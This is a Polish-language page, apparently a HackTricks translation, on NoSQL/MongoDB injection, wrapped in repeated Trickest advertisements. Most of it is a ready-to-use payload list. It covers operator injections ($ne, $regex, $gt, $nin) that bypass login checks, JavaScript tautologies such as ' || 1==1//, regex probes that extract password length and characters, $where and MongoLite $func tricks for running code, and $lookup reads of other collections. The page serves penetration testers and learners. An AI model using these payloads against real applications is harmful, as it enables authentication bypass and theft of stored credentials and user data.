Użyj Trickest, aby łatwo tworzyć i automatyzować przepływy pracy z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie.
Otrzymaj dostęp już dziś:
W PHP można wysłać tablicę, zmieniając parametr wysłany z parameter=foo na parameter[arrName]=foo.
Exploity opierają się na dodaniu Operatora:
username[$ne]=1$password[$ne]=1#<Not Equals>username[$regex]=^adm$password[$ne]=1#Check a <regular expression>, could be used to brute-force a parameterusername[$regex]=.{25}&pass[$ne]=1#Use the <regex> to find the length of a valueusername[$eq]=admin&password[$ne]=1#<Equals>username[$ne]=admin&pass[$lt]=s#<Less than>, Brute-force pass[$lt] to find more usersusername[$ne]=admin&pass[$gt]=s#<Greater Than>username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits"}#<IF>,canbeusedtoexecutecode
Podstawowe pominięcie uwierzytelnienia
Korzystając z operatora nierówności ($ne) lub większości ($gt)
An attacker can exploit this by inputting strings like admin' || 'a'=='a, making the query return all documents by satisfying the condition with a tautology ('a'=='a'). This is analogous to SQL injection attacks where inputs like ' or 1=1-- - are used to manipulate SQL queries. In MongoDB, similar injections can be done using inputs like ' || 1==1//, ' || 1==1%00, or admin' || 'a'=='a.
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
Wyodrębnij informacje o długości
username[$ne]=toto&password[$regex]=.{1}username[$ne]=toto&password[$regex]=.{3}# True if the length equals 1,3...
Za pomocą operatora $func biblioteki MongoLite (używanej domyślnie) może być możliwe wykonanie arbitralnej funkcji, jak w tym raporcie.
"user":{"$func":"var_dump"}
Pobierz informacje z różnej kolekcji
Możliwe jest użycie $lookup do pobrania informacji z innej kolekcji. W poniższym przykładzie czytamy z innej kolekcji o nazwie users i pobieramy wyniki wszystkich wpisów z hasłem pasującym do symbolu wieloznacznego.
UWAGA: Funkcje agregacji, takie jak $lookup, są dostępne tylko wtedy, gdy funkcja aggregate() została użyta do przeprowadzenia wyszukiwania, zamiast bardziej popularnych funkcji find() lub findOne().
Użyj Trickest, aby łatwo budować i automatyzować przepływy pracy z wykorzystaniem najbardziej zaawansowanych narzędzi społeczności.
Otrzymaj dostęp już dziś:
Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y doHackTricks i HackTricks Cloud github repos.
Użyj Trickest, aby łatwo budować i automatyzować workflowy zasilane przez najbardziej zaawansowane narzędzia społeczności na świecie.
Otrzymaj dostęp już dziś: